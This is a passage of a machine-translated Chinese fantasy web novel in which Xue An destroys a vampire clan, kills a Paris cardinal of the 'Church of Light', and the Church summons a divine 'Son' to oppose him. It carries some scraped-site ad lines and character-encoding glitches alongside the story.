    "Huh?" The dark giants all looked at Fan Mengxue.


    "Why do you say that?" Nightmare asked.


    Fan Mengxue lowered her head, "Because I know him!"


    Anastasia nodded to the puzzled people, and motioned to Fan Mengxue that she was right.


    "Just because of acquaintance, do you trust him so much?" Nightmare asked.


    Fan Mengxue was silent for a moment, and then said: "I know his temper too well. Since he says he wants to get rid of it, he will definitely get rid of it, because he has always done what he said!"


    "But such a big thing..." Nightmare wanted to say something else.


    Anastasia said: "I agree with Mengxue''s words, and the Dark Council has been silent for so many years, it is time to come out and do some activities, otherwise many people will no longer be awed!"


    "But..." Titan hesitated.


    Anastasia shook her head and said, "Titan, even if what Mengxue said is not true, blind patience and compromise will not last long. If you don''t show your strength, it will only make the Church of Illumination more advancing! "


    The Titan bowed his head and said nothing.


    "And if Xue An really makes a move and can really shake the Illuminati Church, if we still sit on the sidelines at that time, even if the Illuminati Church is eradicated, we will not be qualified to control everything."


    Many people are silent.


    Karthus chuckled dryly, "Yes, I agree with the witch. After so many years of hiding, my old bones are going to rust, and it''s time for my people to return to the world! You have to tell the world that the Necromancer hasn''t been completely extinct yet!"


    Titan and Nightmare glanced at each other and still hesitated.


    At this moment, another letter suddenly appeared in Anastasia''s hand. She unfolded it and her expression changed drastically.


    "What''s the matter?" Karthus asked.


    Anastasia''s voice trembled slightly, "The news just came that the Blood Mountain, the Holy Land of the Blood Race, has been slaughtered by Xue An, and the Blood Race Council has been completely destroyed!"


    hiss.


    All the giants present took a breath.


    "Is the news true?" Karthus asked in a deep voice.


    "It''s true!" Anastasia said.


    The giants looked at each other and all saw the shock in each other''s eyes.


    Then Karthus smiled bitterly, "It seems that we all underestimated the ability of this Mr. Xue!"


    The strength of the blood race is slightly stronger than the dark council.


    But such strength was slaughtered by Xue An alone.


    At this time, everyone has nothing to say.


    "The Titans agreed to shoot!" The Titans said after a moment of silence.


    "Nightmare agrees too!"


    Karthus chuckled, "Although I am the only necromancer, I still have to agree on behalf of the necromancer."


    Anastasia nodded, "Well, the Dark Council begins to prepare! Ready to attack the Bright Church at any time!"


    "Yes!"


    The giants responded one after another.


    Fan Mengxue''s face was always at a loss.


    She has not recovered from the shock brought by the news.


    Kill the blood clan by one!


    Are you so strong now?


    Thinking of this, Fan Mengxue couldn''t help feeling desperate.


    I thought I could keep up with you if I tried to catch up.


    Unexpectedly, I couldn''t even see your back in the end.

 Chapter 402： An Yan who eats breakthrough

    The news of the extinction of the blood race quickly spread throughout Europe.


    All the forces from all sides are terrified.


    No one thought that Xue An would destroy such a powerful force as the blood clan with his own power.


    Before the news of the eradication of the Church of Illumination was dissatisfied, people who thought it was impossible were all discovered with horror at this moment.


    It seems that Xue An really has the strength to do this.


    Now, many forces suppressed by the Church of Illumination began to move around.


    The big guys from all sides focused their attention on the Guangming Church, wanting to see how he would react.


    To everyone''s expectation, the always arrogant Bright Church actually kept silent this time.


    did not even respond to this matter.


    This made many people feel even more shocked. First release https://https://


    A somewhat absurd idea emerged spontaneously.


    Could it be... the Bright Church is afraid?


    The situation passed in this strange silence for three days.


    Not only the Bright Church did not move, but even Xue An seemed to have disappeared.


    Many forces began to lose control, and started their own small actions.


    For a time, various skirmishes continued in the underground world throughout Europe, and the contradictions accumulated over the years began to be released at this time.


    Someone who has the courage even started to attack the Bright Church frequently.


    Within three days, the Bright Church lost more than a dozen chapels, and even a deacon in purple clothes died.


    But even in this situation, the Bright Church still did not make any response.


    This has made many people more and more courageous.


    Many forces that have been ravaged by the Church of Illumination for many years have all jumped out, ready to take this opportunity to give a good breath.


    Anyone with a discerning eye can see that all that are popping out now are small forces that are not on the stage.


    The really big forces, such as the Dark Council, did not come forward.


    The situation has become more complicated.


    In the dark council.


    Anastasia shook her head and said, "Don��t act rashly. All of these attacks on the Church of Illumination are scratching and can��t hurt him at all. The silence of the Church of Illumination is also weird. I always feel a little bit Something''s wrong!"


    Karthus also nodded and said: "Yes! It always feels like the calm before the storm! These bright pests are not the ones to lose, and they don''t know what conspiracy they are thinking about!"


    The Titans and others nodded their heads. As they have been dealing with the Bright Church for many years, they naturally understand that the Bright Church is not easy to provoke.


    The nightmare sighed faintly, and said softly: "I don''t know what our Mr. Xue is up to now."


    Not only she has this doubt.


    At this moment, all parties cast their doubts at Xue An, who was the initiator, and wanted to know what he was doing. Starting


    Secret Realm of Elves.


    Xue An took out all the blood beads, and selected all the marquis.


    There are probably dozens of blood beads of the remaining dukes and princes.


    These blood beads can really be used. That is the power of the rules contained therein.


    And these add up, probably worth a golden fairy.


    Xue An took a deep breath, Lin Kong wrote out a mysterious seal, and uttered softly, "Fun!"


    All the blood beads floated into the air, and then began to gradually decompose under the reflection of this seal.


    The blood and light in the blood bead began to peel off like running water, and what was left was a trace of regular power that radiated bright light.


    These blood lights are pure blood essence, which is a pity to throw them away.


    Xue An glanced at Quintina on the side, and said lightly: "It may be a little painful, just bear with it!"


    Before Quintina had time to react, Xue An waved his hand, and the blood began to flood Quintina''s head crazily.


    Quintina screamed, and the whole person was burst by the huge energy in an instant.


    The white skin broke apart instantly, and the whole person even turned into a **** person.


    boom.


    The wings behind Quintina stretched out, and at the same time the fifth pair of wings began to grow again.


    But even so, Quintina still can''t bear such a powerful energy.


    Even the whole person began to show signs of collapse.


    Xue An frowned slightly, saw Serena on the side, and said lightly: "Are you afraid?"


    Serena''s eyes lit up.


    She was full of envy for Quintina just now and felt Xue An was so kind to her.


    These are the purest blood energy, and they are all given to her.


    But Serena is very self-aware, knowing that she was not killed by Xue An is a fluke.


    Naturally, I dare not ask for more.


    Now that Xue An asked, she was slightly startled, and then hurriedly shook her head.


    "Not afraid!"


    Xue An nodded slightly and waved his hand, and the blood began to flow into Serena''s body.


    boom.


    Selena felt that her whole person began to fragment at the cellular level, and then reorganized.


    This kind of pain can drive ordinary people crazy.


    But Serena just frowned slightly.


    Compared to the abuse she has suffered over the past century, this pain is nothing to mention.


    soon.


    These blood lights were given to Serena and Quintina respectively.


    But this energy is so huge, it takes a long time for the two of them to absorb this energy completely.


    At this time, the rest is the power of rules.


    Xue An emptied his palm, and the power of these rules was concentrated one after another, and gradually formed a ball of light.


    Xue Anchong smiled and smiled, "Yan''er, close your eyes!"


    is like that, it''s like coaxing a child to get an injection.


    An Yan nodded, "Hmm!"


    Xue An first wrapped the ball of light with his own spirit and then slammed An Yan''s forehead suddenly.


    If you directly infuse the power of the rules, it may be a little painful.


    Xue An, of course, was reluctant to let his wife suffer a bit of grievance, so he protected it with divine consciousness.


    The power of these rules, guided by Xue An��s mind, went straight to the seal of An Yan.


    Boom!


    After the power of these rules was exhausted, the seal was cracked again.


    After ���� was completed, Xue An withdrew from Spiritual Mind and wiped the sweat from his forehead.


    Xue An was afraid of hurting An Yan''s soul, so he protected him with divine consciousness throughout the process.


    So he is more tired than Anyan.


    At this time, An Yan blinked and blinked, and the whole person''s momentum suddenly rose.


    boom.


    A powerful aura exudes from An Yan.


    Xue An looked a little surprised.


    My wife... actually broke through again.


    And this time it was a direct breakthrough from half-step Sanxian to Sanxian.


    You must know that many people may not make it through their entire lives.


    , but it''s soothing but it''s like breathing, and it breaks through very easily!


    "My husband, I seem to be a little better again!" An Yan said excitedly.


    Xue An smiled and rubbed An Yan''s head, and said proudly, "Yes, my wife is amazing!"


    Then stood up, smiled faintly, "Okay, now it''s time to settle accounts with the Bright Church...!"

 Chapter 403： How terrible is it for a woman with a sacred cultivation base to go shopping

    Paris, the capital of country F.


    As a world-renowned fashion and romantic capital, this place has always been one of the most important cities in Europe.


    Guangming Church also values ??this place very much, which can be seen from the staffing here.


    The general diocese are in charge of the deacon in purple, even in a big city like Xiangjiang, it is just a deacon with more seniority.


    But Paris is different. This is the only place where a cardinal can sit in a parish.


    The other is London.


    Klitsch has always been a little restless recently.


    Gary who guards London is dead.


    Although this Gary has a very poor reputation among the churches, many people say that he was able to get to the position by slacking his beard and shooting a horse, but in any case, he is also a cardinal.


    Not only that, even the Light Knight Alonso also fell.


    This result made Klitsch''s eyelids jump. Since the Crusade, no Bright Knight has died because of the battle.


    Moreover, the news about Xue An is also very uproarious, so this Klitsch can''t help being frightened after hearing it, and can only silently pray to the **** of light, praying that this killer will never come to Paris!


    It is a pity that the gods he enshrines cannot bless him at this moment.


    While he was praying silently, Xue An and his family had already set foot on the land of Paris.


    "Husband, what are we doing in Paris?"


    "Of course we continue our honeymoon trip!" Xue An said with a smile.


    An Yan stuck out his tongue when he heard the words, "If you don''t tell me, I forgot about it!"


    There are so many things that happened during this period, An Yan has even forgotten that their original intention of coming to Europe was actually to travel on their honeymoon.


    Xue An rubbed An Yan��s hair dottyly, "Little fool! This is promised to you, I will do it naturally!"


    "Hmm!" An Yan was very happy.


    Xue An smiled.


    He came to Paris this time, one is to bring An Yan to play, and the other is to uproot the Bright Church here.


    Then all the way south, while playing, wipe out the light forces along the road, and finally directly enter the base camp of the Church of Light, the Church of Light!


    If anyone knows Xue An��s plan, they will be dumbfounded.


    Because this is crazy.


    For Xue An, this is just a normal operation.


    In his opinion, when dealing with a Bright Church, you shouldn''t let yourself make a special trip. This way of playing while playing is the best way. Without delay, it can also bring the people of Bright Church together for your convenience. Catch it all in one go.


    In the next two days, Xue An took An Yan around in Paris.


    I have to admit that this Paris is indeed a world-famous fashion capital.


    All kinds of luxury bags and clothes are simply dazzling.


    No woman can resist this temptation.


    An Yan is no exception.


    She is like entering a shopping paradise. The most important thing every day is to buy and buy!


    Xue An is responsible for paying the bill with his card at the back.


    Two days later.


    The clothes An Yan bought can fill more than a dozen large closets, and this has never done enough to stop this crazy shopping.


    Xue An couldn''t help but secretly relieved.


    He doesn''t feel sorry for the money. In fact, if he wants to, he can buy all the major luxury goods companies in Paris.


    The key is that few men are willing to go shopping. New 81 Chinese network update the fastest mobile terminal: https:/


    Especially going to the streets with a wife who is a cultivator of immortality, it is a nightmare experience.


    From the moment I opened my eyes in the morning, until the shops closed in the middle of the night, Anyan has been energetically roaming the major shopping malls and luxury streets.


    Even Xue An collapsed a little later.


    He really doesn''t know why women are so energetic when they go shopping, even as if they are not tired at all.


    Fortunately, this is finally over!


    The cathedral on the outskirts of Paris.


    Klitsch has just solved some problems for a rich man. After receiving a large sum of money, Klitsch''s mood finally improved.


    Everything has been calm these days, and it seems that the murderer''s words are just talking.


    That kind of words couldn''t be better.


    "My Excellency, some students are going to interview you today!" Seeing Klitschs coming out of the atonement room, a priest hurried forward and said.


    "Huh? Student interview?"


    "Yes, they said they wanted to know about the daily maintenance and repairs of our church!"


    Klitsch frowned and waved his hand: "No! I''m not interested in meeting a few students!"


    "Yes! Honorable Bishop, then I''ll go tell them! I also find it a bit ridiculous that a few Chinese students actually came to interview about the maintenance of ancient European buildings!" said the priest, turning to leave.


    "Hold on!" Klitsch stopped the priest, "What did you just say? Where are these students?"


    "My Master, they are all from China! Is there any problem?"


    The expression on Klitsch��s face changed, and then he nodded slightly, "Call them in to see me!"


    The priest was startled, but he lowered his head obediently, "Yes, Lord Bishop!"


    The priest was still thinking when he went out, what happened to his bishop today? New 81 Chinese network update the fastest computer terminal: https://


    If he doesn''t have enough identity, he wouldn''t be able to meet him at all?


    The priest was a little confused.


    Klitsch has his own plan. UU reading www. uukanshu.com


    Since these students are all Chinese, they didn��t lose money when they met.


    After all, that killer is also a Chinese native!


    Klitschs made up his mind secretly, and waited a while for the interview, he should show his bright and charitable side, so as to leave a better impression in China.


    Although it may be useless, but I have to try it anyway.


    At this time, the Ding Guang and Ding Ran brothers and sisters who were waiting outside the church were a little uneasy.


    "Sister, I said it was impossible! This church is a bright church. I heard that the bishop is still a cardinal bishop. How can we be received with such an identity?" Ding Guang said with a little frustration.


    Ding Ran was also a little restless.


    Since the last interview with the blood castle, Ding Ran��s worldview has been greatly impacted since it was almost eaten as a dessert after the last interview. After returning, he spent seven or eight days in the hotel before he gradually recovered.


    But the thesis still has to be done, but Ding Ran dare not touch those gloomy castles anymore. She cast her eyes on these magnificent cathedrals.


    In her opinion, this is the place closest to God, so it should be safer.


    The problem is that many Bright Churches are not open to the public!


    In desperation, she mustered up the courage and gave a very expensive gift before requesting an interview.


    At this moment, the priest walked out of the church and said arrogantly: "The bishop agrees to your interview, please follow me!"

 Chapter 404： Nothing but kill you

    Hearing this, Ding Ran couldn''t help being overjoyed, leading everyone behind the priest and walking into the church.


    "Gosh, it''s so beautiful!"


    When seeing the light projected by the exquisite multicolored glass, Ding Ran and the others all sighed in a blurred expression.


    The priest curled his lips slightly, with some disdain in his heart.


    It''s really a bunch of buns who have never seen the world.


    So he said arrogantly: "Please don''t make noise, this is not an ordinary place! And the bishop also hates people''s nonsense!"


    Ding Ran and the others hurriedly closed their mouths and dared not say anything.


    "Master Bishop, we are here!" The priest led Ding Ran and others to a room and said softly.


    "Let them in!"


    "Yes!"


    The priest gently pushed the door open, and then stood by with his hands down.


    Ding Ran took a deep breath and walked into the room after calming his mind.


    The decoration in this room is the same as the church outside, luxurious and beautiful.


    And a man in red was looking at himself and the others with a smile.


    Ding Ran felt excited.


    The cardinal is a veritable upper-class figure in Europe, and it is very rewarding to be able to contact him this time.


    So she took two steps forward and said respectfully: "His honorable bishop, hello!"


    Klitschns smiled slightly, "Young people from the far east, I am also very happy to meet you!"


    Klitsch��s charity made Ding Ran and the others secretly relieved.


    It seems that the bishop is not so difficult to reach.


    Ding Ran respectfully said: "My Excellency, it is a great honor for you to meet us!"


    "The whole world is God''s people. You and I are equal before God. How can we meet?" Klitsch said lightly, with a holy radiance on his face.


    Ding Ran and others were all moved by Klitsch''s deliberate approachability.


    Ding Ran''s excited voice trembled, "Master Bishop, you really are a respectable priest!"


    Klitschns smiled slightly, "Young man, I heard that your interview this time is about the repair and maintenance of the church?"


    "Yes! Lord Bishop, this is the topic of one of our papers. We are very interested in it. I hope you can tell us!"


    "Okay! But I think we''d better sit down and have a cup of coffee before talking! You know our coffee is very famous!"


    Klitschns deliberately showed off a little humor.


    Ding Ran and the others really smiled.


    "Thank you, Lord Bishop!"


    When the coffee was served, Ding Ran and others began to ask some questions about church architecture.


    Klitsch also knows everything without saying anything.


    This kind of harmonious atmosphere where the host and the host enjoyed themselves, surprised the priests outside the door.


    He really didn''t understand why the normally arrogant bishop should value these young Chinese people so much.


    However, this has successfully moved Ding Ran and others.


    At this moment, in their minds, Klitsch has become a truly respectable figure.


    When the question was almost asked, Klitsch smiled and said, "It seems that the time is not too early. Why not stay here for a simple lunch!"


    Ding Ran and others nodded excitedly in thanks.


    Klitsch slapped his hands, and soon a well-dressed priest came in with the dining car.


    Glamorous red wine, savory steak, extremely elegant silver tableware.


    These are all aristocratic experiences that can''t be bought with much money outside.


    Ding Ran and others were even more infected by this atmosphere, and they showed more respect for Klitsch in their gestures.


    The atmosphere during the banquet became more and more harmonious.


    But just when their host and guest are enjoying themselves.


    Xue An has already brought An Yan to the outside of the church.


    "What a beautiful church!" An Yan exclaimed.


    Xue An smiled slightly, "As the existence that once dominated this continent, every church is the most expensive building in the local area, so it is naturally beautiful!"


    With that, Xue An walked inside.


    The priests who were guarding the church frowned when they saw it, then stepped forward and said in an arrogant tone: "The church is not open to the public, please leave here!"


    Xue An raised his eyes slightly and glanced at the group of priests.


    boom.


    These priests felt an awe-inspiring force attacking them, and directly blasted them out until they were stuck on the wall before they were considered to stop, and then all looked at Xue An with horrified eyes.


    Xue An smiled faintly, then stepped inside.


    These people are nothing more than small shrimps, they are not guilty of killing them.


    When Xue An stepped over the threshold of the church, the whole church suddenly shook slightly.


    At the same time, the bright gods inside the church exude a bright light.


    But Xue An just glanced randomly.


    These trembling idols all quieted down.


    It''s as if... they are afraid of something.


    And such a big movement naturally shocked Klitsch, who was chatting with Ding Ran and others in the reception room.


    He was startled first, then his complexion changed drastically.


    Ding Ran and the others asked in a little surprise: "Master Bishop, what''s the matter with you? Is it unwell?"


    Klitsch was in no mood to pretend at the moment, and roared: "Shut up all of you!"


    Ding Ran and the others were all taken aback, because Klitsch''s complexion at the moment became extremely hideous and terrifying, and there was no longer any elegance.


    At this moment, the door of the reception room collapsed, and Xue An slowly walked in with his hands on his back.


    "I''m sorry to interrupt your meal!" Xue An smiled and said lightly.


    When they saw Xue An, Ding Ran and others were dumbfounded.


    Especially Ding Ran.


    She couldn''t forget the scene of the blood castle to death.


    If it wasn''t for Xue An that time, he might have been eaten by the blood as a dessert after dinner.


    But what is he going to do this time?


    Could it be that even this respected cardinal is a vampire?


    Ding Ran was thinking wildly.


    Klitsch had stood up suddenly and looked at Xue An with horrified eyes.


    "Mr. Xue came here suddenly, may I ask what''s the matter?" Klitsch tried to calm his voice.


    "Oh? Do you recognize me?" Xue An said lightly.


    "If you say which of the most recent European limelight is, it must be you, and you are still a Chinese, so it is not difficult to guess." Klitsch said.


    Xue An nodded, "You are very smart! I am here this time and there is nothing else to do, I just plan to kill you!"


    Klitsch was dumbfounded by Xue An''s straightforward words, and then said angrily: "Mr. Xue, there doesn''t seem to be any enmity between you and me? That Gary **** provokes you, doesn''t mean I am your enemy. what!"


    Xue An smiled slightly, but looked at Ding Ran and the others who were sitting aside quietly.


    "What a coincidence, I actually met you here again!"

 Chapter 405： Technology is power!

    Hearing what Xue An said, Ding Ran''s heart was crying.


    I must have violated this person.


    Otherwise, why would he show up whenever he ate with others?


    Klitzings was bright, and quickly said: "Mr. Xue, your compatriots, I am so entertaining! And I think there is no hatred between us, you see..."


    Xue An waved his hand and motioned Klitsch to shut up, and then said lightly: "You entertain them has nothing to do with me. Kill you because your Bright Church shouldn''t hit me with ideas!"


    Speaking, Xue An took a step. Starting


    Endless sword energy suddenly surrounded Klitsch.


    Klitschs exclaimed, "Xue An, do you have to kill them all?"


    Xue An said lightly: "Reserve these words to tell those who were persecuted to death by your Bright Church!"


    "Don''t think I''m really afraid of you! The mighty power is like prison!" Klitsch knew that the conflict was inevitable, and shouted angrily.


    A bright holy light radiated from him and went straight to Xue An.


    But Xue An just waved casually.


    The seemingly magnificent and powerful light disappeared.


    Klitsch nearly stared out his eyes and exclaimed: "How is it possible! This holy light is invincible, how can you..."


    "Do you think that you have light?" Xue An said lightly, and white lotus flowers appeared in the air.


    "Bright God Flame! No..." Klitsch screamed. After seeing these lotus flowers, the holy light on his body completely surrendered like a courtier saw an emperor.


    Those sword lights directly wrapped Klitsch, and after a few breaths, they turned it into blood.


    With the death of Klitsch, the several statues of light in this church suddenly appeared cracks, and the originally glorious hall became dimmed.


    This is the role of the bishop, who can greatly enhance the sacredness of a church.


    Now that Klitsch is dead, the church has fallen with it.


    After doing all this, Xue An turned to look at Ding Ran and the others, who was stunned, and said lightly: "It''s very dangerous here. You should go back to China, otherwise I can''t guarantee that you will have this good next time. Luck!"


    After that, Xue An led An Yan and left.


    Waiting for him to go away.


    "Sister, what do we...what do we do?" Ding Guang tremblingly asked.


    Ding Ran trembled all over, only then recovered his sobriety, and then stood up without hesitation, "Didn''t you hear what he said, now we will go home!"


    "Should we go now? Then our paper..."


    "What **** thesis, grandma will not graduate!" Ding Ran roared, turned and walked out.


    She made up her mind, in the future, no! It should be said that she will never come to Europe in this life!


    This place is too dangerous!


    News of the fall of Klitsch spread quickly.


    All parties are shocked.


    Countless people focused their attention on Xue An and Guangming Church.


    They both want to know how the two parties will go next.


    Many people assert that the Bright Church will definitely respond. After all, this is the third church leader to be killed by Xue An.


    To everyone''s expectation, the Bright Church still remained silent, as if this incident did not happen at all.


    In sharp contrast, Xue An went all the way to the south. He successively cut down several churches along the road, and eliminated four or five purple-clothed deacons.


    Many people wake up from the initial shock and confusion, and then they are shocked to find that if Xue An follows this route all the way south, he will eventually reach the base camp of the Bright Church, the Bright State Church!


    Does he really want to challenge a country alone?


    This idea shocked many people, but at the same time, it also made many thoughtful people eager for it.


    In short, the eyes of the whole Europe and even the whole world were changed by Xue An''s incident, and countless eyes gathered on the side of Guangming Church.


    The Guangming Kingdom is a small country with an area of ??no more than a few square kilometers.


    Although it is small in size, there are many exquisite churches standing on its territory.


    The most central location is the world-famous Holy Light Cathedral.


    This is a sacred place that claims to be able to directly communicate with the God of Light, and its history can even be traced back to the era of recklessness.


    At the same time, this is also the core of the entire Church of Illumination, the residence of Pope Illumination.


    At this moment, on the sacred square in front of the Holy Light Cathedral, tourists are like weaving and it is very lively.


    In the Middle Ages, this is a veritable absolute forbidden area.


    However, with the gradual secularization over the years, especially the decree issued by the previous pope, the entire Guangming Church began to open to secular tourists.


    Of course, it also includes this sacred square where the whispers of the gods can be heard.


    But the people on the square are not just tourists.


    It almost contains intelligence personnel from all countries in the world, as well as spies sent by various forces in Europe.


    After all, recent events affect the hearts of countless people. Everyone wants to know why the always strong Bright Church is so silent this time?


    David is an intelligence officer of the intelligence agency of country M. He came here this time to perform surveillance missions.


    And David believes that among the tourists in the square at this moment, there must be many of his own colleagues To be honest, this task is very good, just like paid vacation, not only can enjoy the exquisite medieval architecture for free , And even occasionally have a romantic encounter with beautiful tourists from all over the world.


    Thinking of this, David couldn''t help getting a little excited, and wandered to the open-air cafe in the corner of the square to buy a cup of coffee and a sandwich.


    When he took the coffee, the bearded vendor owner smiled and said, "May God bless you!"


    David nodded, and then said in a low voice, "There is still nothing unusual. I suspect that the Bright Church seems to be really afraid of Mr. Xue!"


    "Continue to monitor!" The bearded boss said with a smile, and then turned to work.


    David looked at the boss who looked nothing like an intelligence officer, shrugged, turned around and started to eat.


    At the same time, in a black business car a few kilometers away from the Holy Square.


    Karthus held a cigar in his mouth, and said in admiration: "Did you see it? Technology is power!"


    Anastasia, Fan Mengxue, and Nightmare all looked at the screen in Karthus''s hand.


    shows the real-time image of the sacred square. New 81 Chinese network update the fastest computer terminal: https://


    Karthus took a deep sip of his cigar, let the smoke radiate from the holes of the skull, and said proudly: "On this sacred square, any use of black magic and witchcraft will be detected, but this mechanical beetle No! How? Isn''t it great?"

 Chapter 406： Take advantage of the fire

    said, he also remotely controlled the mechanical beetle through his mobile phone and started spinning around the square.


    Anastasia couldn''t help but nodded approvingly, "Karthus, I didn''t expect your old bones to be able to play this kind of high technology!"


    Karthus grumbled a little dissatisfied, "Ms. Tacia, I hope you can understand that as a necromancer, I am a teenager who is only over one thousand and two hundred years old!"


    Anastasia curled her mouth in disdain, "You are still a teenager like you? A teenager who smokes a cigar with his head full of smoke?"


    Fan Mengxue didn''t want to laugh at first, but when Anastasia said this, she recalled the scene just now, she couldn''t help but feel a little bit too much. New 81 Chinese network update the fastest computer terminal: https://


    Flicked, Fan Mengxue laughed out loud.


    Hearing Fan Mengxue''s laughter, Karthus, who was a little embarrassed, couldn''t help becoming proud again.


    "Ahem, no matter what you say, Miss Mengxue seems to like me very much, right?" Karthus looked at Fan Mengxue hopefully.


    Of course, his full face of hope can only be seen from the two beating flames in his eyes.


    After these few days of getting along, Fan Mengxue has become familiar with the character of Karthus.


    Follows fashion, loves to talk, can''t walk when seeing beautiful women, and always feels that he is very handsome and very narcissistic.


    This is the biggest characteristic of this Karthus.


    In Anastasia''s words, fortunately, his teachers have already died in the hands of the medieval church, otherwise he will be mad at him even if he lives to the present.


    Therefore, Fan Mengxue smiled politely, and moved out of position calmly.


    Karthus is really embarrassed now.


    was about to say something, suddenly he whispered.


    "Hey, isn''t this the group of dark druids?" Karthus pointed to the dark druid high priest Tolan and others on the screen and said.


    Anastasia looked at it and frowned.


    "Tolan, these guys are so courageous? They actually went to the sacred square for a stroll?"


    Karthus curled his lips, "This group of guys are different from us. They all believe in the power of nature. If they don��t use it, they are no different from ordinary people! Naturally, they are not afraid of investigation by the Bright Church! But I��m very curious about this group. What are you guys doing here?"


    As Karthus said, Tolan appeared on the sacred square with a group of his men.


    The purpose of his coming is also very simple, just to see if there are any opportunities.


    Compared with the **** hatred of other forces and the Church of Light, the Dark Druid does not have such a strong hatred. This time, he is purely trying to take advantage of the fire and make some money.


    But Tolan turned around and found nothing unusual, so he couldn''t help but feel a little disapproving.


    While in the distance, David stared at Tolan firmly, and quietly said through the button intercom: "It seems that they are dark druids, these guys actually appeared, it seems that the situation is getting more and more complicated!"


    The bearded man, who was busy with business, smiled and nodded at the customer, but when he turned around, he whispered: "This incident has already disturbed the darkest forces that hide the deepest. Continue to observe, especially to see if there is a dark council. People!"


    "Yes!"


    David responded and swallowed the last sandwich in two bites, just as he was about to get up.


    A low voice of singing came from the Holy Light Cathedral.


    David was taken aback for a moment, then his eyes widened.


    Not only he was stunned, but everyone in the square was stunned.


    Because of the singing, it is so beautiful.


    It''s like... an angel is really moaning.


    The faint light of holy light gradually rose from the ground, from the statues standing in the square, and the singing voice became clearer and clearer.


    At this time, a scream came.


    I saw a well-disguised dark race being illuminated by this holy light, covered in black smoke, and soon died on the spot.


    This scene seemed to remind everyone that many people were shocked, their faces showed a look of horror, and they turned around to escape the square.


    But at this moment, the voice of singing became louder and louder.


    The Cathedral of the Holy Light emits a strong holy light as a whole.


    Countless believers and congregants couldn''t help kneeling on the ground with excitement, and began to pray loudly.


    Tolan and other dark druids were also a little frightened at this moment. They just came to join in the fun. Why did it suddenly appear?


    Tolan gritted his teeth and led the crowd to quietly retreat outside the court.


    But when he came to the edge of the square, a thin barrier of Holy Light appeared.


    At the same time, the sound of singing was deafening, and a bright light appeared on the top of the Holy Light Church.


    ''S extremely powerful power instantly enveloped the audience.


    All the believers and congregation are crying with excitement at this moment.


    But people like David and Tolan looked at this scene with a pale face.


    The light gradually floated in the air.


    Behind him, one after another powerful figures appeared.


    David almost groaned: "The Pope, the heretical chief referee, the light paladin, the light chief judge, these light giants are all here, then this light..."


    He dare not go on.


    Because that conclusion is simply too terrifying.


    But at this time the light gradually dissipated, and then a young man exuding almost real holy light with an extremely handsome face and two groups of holy light burning in his eyes appeared.


    The man looked down at everyone on the square, a high smile appeared at the corner of his mouth, and said lightly: "God said, there must be light!"


    With his order, countless holy lights rose up, and all the believers and congregants felt that the whole person became younger and stronger.


    This discovery made them all crazy about this man.


    But those who are exposed to darkness are not so lucky.


    For example, Tolan, he was wrapped in a ball of holy light. This power was so powerful that it almost wiped out Tolan''s natural power.


    Fortunately, Tolan managed to get hurt, so he managed to escape.


    But his subordinates are not so lucky. Basically, they didn''t even have time to scream, they were all annihilated by the Holy Light and turned into nothingness.


    This discovery made Tolan tremble all over, but he didn''t even dare to turn his head back, just ran away frantically.


    Because he suddenly thought of a legend, a very terrifying legend.


    At this moment, in the black business car, Karthus, Anastasia and others all looked at the tall man on the phone screen with a dull face.


    Suddenly, the man turned his head and glanced at the screen.


    Click.


    The phone screen shattered, and at the same time, a few rays of holy light rushed towards Karthus.


    Starting

 Chapter 407： Advent of the Son

    Karthus screamed, waved his hand, and a thick black gas blocked the front.


    But these black auras are like a piece of thin paper in front of the holy light, without any resistance.


    A trace of holy light touched Karthus''s arm.


    Zi!


    Black smoke came up, and Karthus let out a cry.


    At this time Anastasia waved her hand with a sullen face, "Confused!"


    These holy lights were instantly shrouded in a cloud of gray light.


    At the same time, Anastasia stepped forward and tore off Karthus''s arm and threw it away, and then coldly shouted, "Go!"


    Everyone was shocked, and they used the strongest power to escape and disappeared directly from the car.


    As soon as their bodies disappeared, those holy lights suddenly broke through the shackles and exploded.


    boom.


    The whole car was blown to pieces in an instant.


    above the sacred square.


    The young man snorted coldly, and said lightly: "It''s fast enough!"


    The pope said in a very humble voice behind him: "Master Saint, do I need to send someone to chase it?"


    "No need! Let these dark maggots live a few more days!"


    "Yes!" The Pope and the giants behind him stooped to say yes, with extremely humble expressions.


    At the same time, the entire square, the entire Holy Light Cathedral, and even the entire Illuminati Church, the congregants and believers all knelt to the ground, praying devoutly at the men who exuded the strong light in the sky.


    "Welcome to Lord Son, come to the world!"


    Shengzi showed a triumphant smile and nodded slightly, "God loves the world, and I came to this world on the order of my father, the king, to promote the voice of the gods and eliminate the darkness!"


    All the believers and congregation kowtowed in excitement, and some of them were even crying.


    For them, seeing a living **** in their lifetime is simply the greatest honor.


    Karthus and the others, who escaped by chance, had extremely solemn faces at this moment.


    "I know that this Bright Church has never been a good stubbornness. The silence and patience this time are because they are summoning the Son! And the **** summoning was successful!" Karthus said swearing, but his voice was weak. Trembling, obviously with deep horror.


    The complexions of Anastasia and others are also extremely ugly.


    "The Son of God has come. I didn''t expect that since the Battle of the Fallen Gods in the Middle Ages, the Church of Light would dare to use such taboo techniques!" Anastasia said bitterly.


    Fan Mengxue asked in confusion, "Is this saint... very powerful?"


    Karthus sighed when he heard the words, "How do you say? This saint is the son of the God of Light that the Church of Illumination believes in. Each of them has extremely powerful power, and even... can be called invincible in the world!"


    Hearing these words, Fan Mengxue''s face turned pale at a speed visible to the naked eye.


    "That...then you mean that Xue An...he is in danger?"


    Everyone was silent for a moment, and then Anastasia sighed and said: "It''s not there, but there will definitely be! The arrival of the Saint Son represents invincible power. Although Xue An is powerful...how could he be? An opponent of God?"


    Fan Mengxue shook and nearly fainted, and the nightmare on the side quickly supported her.


    Then Fan Mengxue said palely: "Is there no other way?"


    "Yes! That is to tell Xue An to run now, how far and how far!" Karthus said in a deep voice.


    Fan Mengxue smiled sadly, "I know him too much, he will definitely not run away!"


    "Then you can only die!" Karthus sighed helplessly.


    Fan Mengxue slowly raised her head, her eyes flashed fiercely, and suddenly she knelt down, "Master, you told me at the beginning that there is a dark forbidden curse in dark magic, which is an incredibly powerful spell, please You taught me!"


    Anastasia''s eyes flickered, then she shook her head and sighed, "Mengxue, is it worth it for a man?"


    "Value!" Fan Mengxue said calmly.


    "But I can tell you now that even if you learn these dark forbidden spells, you will still not be the opponent of the Son of Light at that time, because the light originally restrains the darkness!"


    "I know! But I still have to learn!" Fan Mengxue''s tone was as calm as ever.


    Everyone in the room looked at each other, and then they all shook their heads helplessly.


    "Mengxue, you are a good boy, but this matter cannot be controlled by you alone!"


    "I know, but I still have to learn!" Fan Mengxue repeated mechanically like a repeater.


